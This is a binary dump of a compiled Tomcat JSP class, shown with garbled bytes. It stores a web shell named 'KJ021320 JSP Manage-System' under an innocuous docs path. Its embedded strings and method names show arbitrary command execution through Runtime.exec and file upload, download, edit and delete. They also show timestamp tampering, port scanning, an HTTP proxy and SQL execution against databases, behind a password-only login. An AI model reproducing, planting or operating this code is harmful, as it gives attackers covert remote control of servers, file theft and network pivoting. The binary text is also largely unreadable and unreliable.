Edit C:\apache-tomcat-7.0.69\work\Catalina\localhost\docs\org\apache\jsp\funcspecs\_4_jsp.class
???? 2u org/apache/jsp/funcspecs/_4_jsp %org/apache/jasper/runtime/HttpJspBase ,org/apache/jasper/runtime/JspSourceDependent APP_NAME Ljava/lang/String; ConstantValue KJ021320 JSP Manage-System 1.0 portListen I openHttpProxy Z _jspxFactory Ljavax/servlet/jsp/JspFactory; _jspx_dependants Ljava/util/Map; Signature 3Ljava/util/Map<Ljava/lang/String;Ljava/lang/Long;>; _el_expressionfactory Ljavax/el/ExpressionFactory; _jsp_instancemanager #Lorg/apache/tomcat/InstanceManager; <clinit> ()V Code javax/servlet/jsp/JspFactory ! " getDefaultFactory ()Ljavax/servlet/jsp/JspFactory; $ LineNumberTable LocalVariableTable <init> ) ' + - / this !Lorg/apache/jsp/funcspecs/_4_jsp; mainForm 2(Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)V Exceptions 6 java/lang/Exception 8 4<table width=100% height=100% border=0 bgcolor=menu> : < ; javax/servlet/jsp/JspWriter = > print (Ljava/lang/String;)V @ <tr><td height=30 colspan=2> B %<table width=100% height=25 border=0> D G<form name=address method=post target=FileFrame onSubmit='checkUrl();'> F 0<tr><td width=60 align=center>FilePath:</td><td> H java/lang/StringBuilder J /<input name=FolderPath style=width:100% value=' G L ' > G N O P append -(Ljava/lang/String;)Ljava/lang/StringBuilder; R ' onchange='checkUrl();'> G T U V toString ()Ljava/lang/String; X '<input type=hidden name=Action value=F> Z !<input type=hidden name=Filename> \ L</td><td width=60 align=center><a href='javascript:checkUrl();'>GOtoLink</a> ^ 5</td></tr></form></table></td></tr><tr><td width=148> ` a<iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes></iframe></td> b <td width=600> d 1<iframe name=FileFrame src='?Action=F&FolderPath= f >' width=100% height=100% frameborder=1 scrolling=yes></iframe> h </td></tr></table> web_Site out Ljavax/servlet/jsp/JspWriter; mainMenu 2(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;)V o <table> : q r > println t '<tr><td bgcolor=Gray><a href=?Action=M> v w x ico (I)Ljava/lang/String; z 'FileOperation(File.class)</a></td></tr> | ;<tr><td bgcolor=menu onclick=top.address.FolderPath.value=' ~ ? folderReplace &(Ljava/lang/String;)Ljava/lang/String; ? '><a href='?Action=F&FolderPath= ? ' target=FileFrame> ? WEB Folder</a></td></tr> ? 8<tr><td bgcolor=menu><a href=?Action=S target=FileFrame> ? &SystemInfo(System.class)</a></td></tr> ? 8<tr><td bgcolor=menu><a href=?Action=L target=FileFrame> ? ServletInfo</a></td></tr> ? 8<tr><td bgcolor=menu><a href=?Action=T target=FileFrame> ? SystemTools</a></td></tr> ? 8<tr><td bgcolor=menu><a href=?Action=i target=FileFrame> ? Interfaces</a></td></tr> ? s<tr><td bgcolor=menu><a href='http://blog.csdn.net/kj021320' target=FileFrame>About nonamed(kj021320)</a></td></tr> ? </table> showFiles ? java/io/File ? L ? ? ? ? isDirectory ()Z ? ? ? ? exists ? ? ? ? listFiles ()[Ljava/io/File; ? ?<table><tr bgcolor=menu><td>name</td><td>type</td><td>size</td><td>modify date</td><td>readonly</td><td>can write</td><td>hidden</td><td>Action</td></tr> ? ? ? ? length ()J ? G<tr bgcolor=menu><td><a href="javascript:top.address.FolderPath.value=' ? ? ? V getAbsolutePath ? /';checkUrl();"> ? ? ? V getName ? </a></td><td> DIR </td><td> ? ? ? getSize (J)Ljava/lang/String; ? </td><td> ? java/util/Date ? ? ? ? lastModified ? ? ' ? (J)V G ? O ? -(Ljava/lang/Object;)Ljava/lang/StringBuilder; ? ? ? ? canRead G ? O ? (Z)Ljava/lang/StringBuilder; ? ? ? ? canWrite ? ? ? ? isHidden ? ? ? fOperation '(ZLjava/lang/String;)Ljava/lang/String; ? </td></tr> ? <tr><td> ? </td><td> file </td><td> ? this folder size: path file Ljava/io/File; maxSize J f [Ljava/io/File; i StackMapTable ? java/lang/String ? showSystemInfo (Ljavax/servlet/jsp/JspWriter;)V ? ? ? java/lang/System ? ? getProperties ()Ljava/util/Properties; ? ? ? java/util/Map ? ? keySet ()Ljava/util/Set; java/util/Set iterator ()Ljava/util/Iterator; <hr>System Property info:<ul> java/util/Iterator next ()Ljava/lang/Object; <li> [ ? get &(Ljava/lang/Object;)Ljava/lang/Object; ] ? hasNext </ul><hr>System CPU : java/lang/Runtime ! getRuntime ()Ljava/lang/Runtime; #$% availableProcessors ()I ?'( x valueOf* <br>, the JVM Free Memory : ./ ? freeMemory1 <br>the JVM Max Memory : 34 ? maxMemory map set Ljava/util/Set; it Ljava/util/Iterator; oName Ljava/lang/Object; servletInfo =(Ljavax/servlet/ServletConfig;Ljavax/servlet/jsp/JspWriter;)V?A@ javax/servlet/ServletConfigBC getServletContext ()Ljavax/servlet/ServletContext;E Server info: GIH javax/servlet/ServletContextJ V getServerInfoL <br>N ServletContext name: GPQ V getServletContextNameS Major version :GUV% getMajorVersion GX OY (I)Ljava/lang/StringBuilder;[ Minor version :G]^% getMinorVersionG`ab getInitParameterNames ()Ljava/util/Enumeration;d init parameter: <br>fhg java/util/Enumerationi nextElementk key:m value:Gop ? getInitParameterfrs ? hasMoreElements config Ljavax/servlet/ServletConfig; sc Ljavax/servlet/ServletContext; en Ljava/util/Enumeration; initInfo name downFile =(Ljava/lang/String;Ljavax/servlet/http/HttpServletResponse;)V ??? getBytes ()[B? ISO-8859-1 ?? '? ([BLjava/lang/String;)V??? &javax/servlet/http/HttpServletResponse? reset? Content-disposition? attachment;filename="? "???? setHeader '(Ljava/lang/String;Ljava/lang/String;)V???? getOutputStream %()Ljavax/servlet/ServletOutputStream;? java/io/BufferedInputStream? java/io/FileInputStream ? L ?? '? (Ljava/io/InputStream;)V ??? !javax/servlet/ServletOutputStream?? write ([BII)V ???? read ([BII)I ??? close ??? flush??? flushBuffer filename res (Ljavax/servlet/http/HttpServletResponse; w buffer [B b outFile sos #Ljavax/servlet/ServletOutputStream; bis Ljava/io/BufferedInputStream;?? java/lang/Throwable deleteFile ??? ? delete ??(? &(Ljava/lang/Object;)Ljava/lang/String;? delete success...? file not find!! renameFile? | ???? indexOf (Ljava/lang/String;)I ??? x substring ???? (II)Ljava/lang/String; ???? renameTo (Ljava/io/File;)Z? file move success split newFilename copyFile? java/io/BufferedOutputStream? java/io/FileOutputStream ? L ?? '? (Ljava/io/OutputStream;)V ???? (I)V ???%? file copy error ??? file copy success bos Ljava/io/BufferedOutputStream; s editFile? java/io/IOException? <form method=post>File Path: .<input type=text size=80 name=filename value=' '> i<input type=button name=kFile onClick='this.form.action="?Action=K";this.form.submit();' value=KeepFile > N<input type=button onClick=editFile(this.form.filename.value); value=ReadFile> 5<textarea name=FileContent rows=35 style=width:100%;> java/io/BufferedReader java/io/InputStreamReader Gb2312 ' *(Ljava/io/InputStream;Ljava/lang/String;)V ' (Ljava/io/Reader;)V ? htmlEntity V readLine file edit error </textarea></form> br Ljava/io/BufferedReader; saveFile 4(Ljava/lang/String;[BLjavax/servlet/jsp/JspWriter;)V ??' file save success) Error fileContent dateChange h(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)V .0/ java/util/Calendar12 getInstance ()Ljava/util/Calendar; 465 java/lang/Integer7? parseInt .96: (III)V .<= ? getTimeInMillis ??@A setLastModified (J)ZC file date change successE file date change errorG file not find!!! year month day calendar Ljava/util/Calendar; execFile OPQ exec '(Ljava/lang/String;)Ljava/lang/Process; SUT java/lang/ProcessVW getInputStream ()Ljava/io/InputStream;Y GB2312[ $<textarea rows=35 style=width:100%;> ?] '^ ([CII)V `?a ([CII)Ic run file error ?f </textarea> hi ? systemTools rt Ljava/lang/Runtime; ps Ljava/lang/Process; isr Ljava/io/InputStreamReader; bufferC [Cq zip D(Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)Vv java/util/zip/ZipOutputStream u? yz{ zipEntry X(Ljava/util/zip/ZipOutputStream;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V} file zip error u?? zip ok zipPath srcPath output Ljava/io/FileOutputStream; zipOutput Ljava/util/zip/ZipOutputStream; ???? list ()[Ljava/lang/String; ??? separator? / ???? lastIndexOf? java/util/zip/ZipEntry ? L ???? equals (Ljava/lang/Object;)Z ??? ? setSize ??? ? setTime ??? ? setCrc? java/util/zip/CRC32 ? ) ?? u??? putNextEntry (Ljava/util/zip/ZipEntry;)V u? ???? update ?? ?? ??? ? getValue zipOs initPath filePath entryName files [Ljava/lang/String; chPh idx entry Ljava/util/zip/ZipEntry; ff crc Ljava/util/zip/CRC32; len bufferLen input Ljava/io/FileInputStream;? upfile Y(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;)V??? %javax/servlet/http/HttpServletRequest? V getContentType??V? $()Ljavax/servlet/ServletInputStream; ?? 9([BLjavax/servlet/ServletInputStream;Ljava/lang/String;)I? upload success!? upload error request 'Ljavax/servlet/http/HttpServletRequest; boundary sis "Ljavax/servlet/ServletInputStream; line? javax/servlet/ServletInputStream ??? ?? '? ?? j? Ljava/io/PrintStream; ? q? java/io/PrintStream lineByte servletInputstream endStr str newFolder ??? ? mkdirs? the folder create success!? the folder create error foldername reflectAPI ??? java/lang/Class?? forName %(Ljava/lang/String;)Ljava/lang/Class; ??? getInterfaces ()[Ljava/lang/Class; ? getSuperclass ()Ljava/lang/Class; ? T ? getDeclaredConstructors "()[Ljava/lang/reflect/Constructor; ? getDeclaredFields ()[Ljava/lang/reflect/Field; ? getDeclaredMethods ()[Ljava/lang/reflect/Method; ? ? , <strong> ?% getModifiers java/lang/reflect/Modifier U x </strong> ! <br><strong>extends</strong> # <strong><br>implemets</strong> % "<br>{<br><EM>Constructor:</EM><br>' ) <EM>Field:</EM><br>+ <EM>Function:</EM><br>- <br>} className cls Ljava/lang/Class; ifString interfaces [Ljava/lang/Class; supperClass c [Ljava/lang/reflect/Constructor; [Ljava/lang/reflect/Field; m [Ljava/lang/reflect/Method;3679 scanPort 4(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;II)V ??B port setup error DFE java/net/InetAddressGH getByName *(Ljava/lang/String;)Ljava/net/InetAddress;J (org/apache/jsp/funcspecs/_4_jsp$ScanPort IL 'M Y(Lorg/apache/jsp/funcspecs/_4_jsp;Ljava/net/InetAddress;IILjavax/servlet/jsp/JspWriter;)V IOP start RTS java/lang/ThreadU ? sleep strAddress startPort endPort ia Ljava/net/InetAddress; p switchProxyService^ /org/apache/jsp/funcspecs/_4_jsp$RunProxyService ]` 'a %(Lorg/apache/jsp/funcspecs/_4_jsp;I)V ]Od Proxy runningf Proxy closed ConnectionDBM ?(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Vj #org/apache/jsp/funcspecs/_4_jsp$DBM il 'm ?(Lorg/apache/jsp/funcspecs/_4_jsp;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)Vo LDB iqr lookInfo itu > executeSQL iwx closeAll driver url userName passWord sqlAction sqlCmd dbm %Lorg/apache/jsp/funcspecs/_4_jsp$DBM;? <table border=1>? h<tr><form method=post action='?Action=run'><td bordercolorlight=Black bgcolor=menu>System class run</td>? ?<td colspan=2>filepath:<input name=execFile size=75 type=text title='example d:\cmd.exe /c dir c:'></td><td><input name=go type=submit value=run></td></form></tr>? ?<tr><form method=post enctype="multipart/form-data" action='?Action=Upfile'><td bordercolorlight=Black bgcolor=menu>file upload</td>? ?<td colspan=2>file:<input name=file type=file>up to file<input title='d:\1.txt' name=UPaddress size=35 type=text></td><td><input name=up onclick="this.form.action+='&UPaddress='+this.form.UPaddress.value;" type=submit value=upl></td></form></tr>? ?<tr><form method=post action='?Action=EditFile'><td bordercolorlight=Black bgcolor=menu>new file</td><td colspan=2>file full name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>? </form></tr>? ?<tr><form method=post action='?Action=newFolder'><td bordercolorlight=Black bgcolor=menu>Create folder</td><td colspan=2>folder fullname:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>? ?<tr><form method=post action='?Action=APIreflect'><td bordercolorlight=Black bgcolor=menu>Reflect API</td><td colspan=2>Class Name:<input name=Filename title=java.lang.String type=text size=50></td><td><input name=submit type=submit value=ref></td>?O<tr><form method=post action='?Action=IPscan'><td bordercolorlight=Black bgcolor=menu>Scan Port</td><td>IP:<input name=IPaddress type=text size=20></td><td>Start Port:<input name=startPort title=1-65535 type=text size=5>End Port:<input name=endPort title=1-65535 type=text size=5></td><td><input name=submit type=submit value=sca></td>? +<tr><form method=post action='?Action=sql'>? +<td bordercolorlight=Black bgcolor=menu>DBM? ?<select name=DB onChange='setDataBase(this.form);'><option>Sybase</option><option>Mssql</option><option>Mysql</option><option>Oracle</option><option>DB2</option><option>PostgreSQL</option></select></td><td>? ?Driver:<input name=driver type=text>URL:<input name=conUrl type=text>user:<input name=user type=text size=3>password:<input name=password type=text size=3></td>? p<td>SqlCmd:<input type=text name=sqlcmd title='select * from admin'><input name=run type=submit value=Exec></td>? /<td><input name=run type=submit value=LDB></td>? S<tr><td><a href='?Action=HttpProxy' target=FileFrame>OpenTheHttpProxy</a></td></tr>? T<tr><td><a href='?Action=HttpProxy' target=FileFrame>CloseTheHttpProxy</a></td></tr> userInterFaces? Fif u want to add an function ,u can coding in 'userInterFaces'function encodeChange ???? (Ljava/lang/String;)[B? gb2312 ???? replace (CC)Ljava/lang/String; folder? <a href="javascript:delFile('? +')">Delete</a> <a href="javascript:reName('? ,')">Rename</a> <a href="javascript:setDate('? -')">setDate</a> <a href="javascript:zipFile('? ')">Zip</a>? .')">setDate</a> <a href="javascript:copyFile('? +')">Copy</a> <a href="javascript:editFile('? +')">Edit</a> <a href="javascript:downFile('? ');">Down</a> @ G )? java/lang/Long ? ?? G ? M ? K ??( ?? B size? <font face=wingdings size=3>&#? </font> num? java/lang/StringBuffer ? ) ???? charAt (I)C? < ?? O? ,(Ljava/lang/String;)Ljava/lang/StringBuffer;? >? ?? O? (C)Ljava/lang/StringBuffer; ?? ?% ? T htmlCode sb Ljava/lang/StringBuffer; C getDependants ()Ljava/util/Map; 5()Ljava/util/Map<Ljava/lang/String;Ljava/lang/Long;>; ? _jsp_getExpressionFactory ()Ljavax/el/ExpressionFactory; getServletConfig ()Ljavax/servlet/ServletConfig; getJspApplicationContext I(Ljavax/servlet/ServletContext;)Ljavax/servlet/jsp/JspApplicationContext; 'javax/servlet/jsp/JspApplicationContext? getExpressionFactory _jsp_getInstanceManager %()Lorg/apache/tomcat/InstanceManager; 0org/apache/jasper/runtime/InstanceManagerFactory getInstanceManager B(Ljavax/servlet/ServletConfig;)Lorg/apache/tomcat/InstanceManager; _jspInit _jspDestroy _jspService R(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V javax/servlet/ServletException text/html;charset=gbk?"# > setContentType %&' getPageContext ?(Ljavax/servlet/Servlet;Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;Ljava/lang/String;ZIZ)Ljavax/servlet/jsp/PageContext; )A* javax/servlet/jsp/PageContext ) )-./ getSession "()Ljavax/servlet/http/HttpSession; )123 getOut ()Ljavax/servlet/jsp/JspWriter;5 :7? > :?:<; javax/servlet/http/HttpSession=? setMaxInactiveIntervalG?@ ? getRealPath?BC V getRequestURIE ID:GHI getAttribute &(Ljava/lang/String;)Ljava/lang/Object;K testing012M LName?OP ? getParameterR LPassT 1:VWX setAttribute '(Ljava/lang/String;Ljava/lang/Object;)V?Z[ > sendRedirect] ?<center style=font-size:12px><br><br>KJ021320 JSP Manage-System 1.0<br><br><form name=login method=post>username:<input name=LName type=text size=15><br>password:<input name=LPass type=password size=15><br><input type=submit value=Login></form></center> _`a releasePageContext "(Ljavax/servlet/jsp/PageContext;)Vc <html> e <head> g D<meta http-equiv=Content-Type content="text/html; charset=gb2312"> i <title>k </title> m <style type="text/css"> o body,td{font-size: 12px;} q btable{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');} s input,select{font-size:12px;} u K body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;} w td{white-space:nowrap;} y ' a{color:black;text-decoration:none;} { </style> } <script> Top=top.address; ? function downFile(file){ ? " Top.Filename.value=file; ? Top.Action.value="D"; ? Top.submit(); ? } ? function checkUrl(){ ? ' top.address.Action.value="F"; ? top.address.submit(); ? function editFile(file){ ? ' top.address.Action.value="E"; ? * top.address.Filename.value=file; ? function delFile(file){ ? ' top.address.Action.value="R"; ? function reName(file){ ? A if((Rname=prompt("rename to?",file))!=""&&Rname!=null){ ? # Top.Action.value="N"; ? 8 top.address.Filename.value=file+"|"+Rname; ? Top.submit(); ? } ? function copyFile(file){ ? ? if((Rname=prompt("copy to?",file))!=""&&Rname!=null){ ? # Top.Action.value="P"; ? function setDate(file){ ? ] document.write("Change date:<br><form method='post' action='?Action=dateChange'>"); ? o document.write("filename:<input name='Filename' type='text' size=60 readonly value='"+file+"'><br>"); ? 6 document.write("Year:<select name='year'>"); ? " for(i=1970;i<=2050;i++){ ? C document.write("<option value="+i+">"+i+"</option>"); ? & document.write("</select>"); ? 8 document.write("Month:<select name='month'>"); ? for(i=1;i<=12;i++){ ? 4 document.write("Day:<select name='day'>"); ? for(i=1;i<=31;i++){ ? ? document.write("<input name='Action' type='button' onclick='top.address.Action.value=\"d\";this.form.submit();' value='dateChange'>"); ? i document.write("<input name='cancel' onclick='history.back();' type='button' value='Cancel'>"); ? function zipFile(file){ ? J if((zipF=prompt("save to ?",file+"/down.zip"))!=""&&zipF!=null){ ? + top.address.Action.value="Z"; ? 0 top.address.FolderPath.value=file; ? . top.address.Filename.value=zipF; ? # top.address.submit(); ? function setDataBase(f){ ? ! driverName=new Array(); ? : driverName[0]="com.sybase.jdbc2.jdbc.SybDriver"; ? G driverName[1]="com.microsoft.jdbc.sqlserver.SQLServerDriver"; ? 0 driverName[2]="com.mysql.jdbc.Driver"; ? : driverName[3]="oracle.jdbc.driver.OracleDriver"; ? 9 driverName[4]="com.ibm.db2.jdbc.app.DB2Driver"; ? 0 driverName[5]="org.postgresql.Driver"; ? conUrl=new Array(); ? < conUrl[0]="jdbc:jtds:sybase://host:port/database"; ? I conUrl[1]="jdbc:microsoft:sqlserver://host:port;DatabaseName="; ? 6 conUrl[2]="jdbc:mysql://host:port/database"; ? ; conUrl[3]="jdbc:oracle:thin:@host:port:database"; ? 4 conUrl[4]="jdbc:db2://host:port/database"; ? ; conUrl[5]="jdbc:postgresql://host:port/database"; ? ? 8 f.driver.value=driverName[f.DB.selectedIndex]; ? 4 f.conUrl.value=conUrl[f.DB.selectedIndex]; ? </script> ? </head> ? <body> ? Action? 0 l m FolderPath ? ? ? m ? ? <= Filename |} ? 3 ? 3? FileContent #$ ? 3 ? 3HIJ !+,M $M 3 &st( UPaddress *?? ,? m .? m0 IPaddressWX 4>?y7 conUrl9 user; password= run? sqlcmd Agh C\ ? E? ? G 2 3I </body></html> :?L #javax/servlet/jsp/SkipPageException :NO% getBufferSize?QR ? isCommitted :? :UV clearBuffer )XYZ handlePageException (Ljava/lang/Throwable;)V \ 'Z response pageContext Ljavax/servlet/jsp/PageContext; session Ljavax/servlet/http/HttpSession; application _jspx_out _jspx_page_context WEB_SITE URL username action t Ljava/lang/Throwable; SourceFile _4_jsp.java InnerClasses DBMp )org/apache/jsp/funcspecs/_4_jsp$HttpProxy HttpProxy RunProxyService ScanPort SourceDebugExtension 1 B B &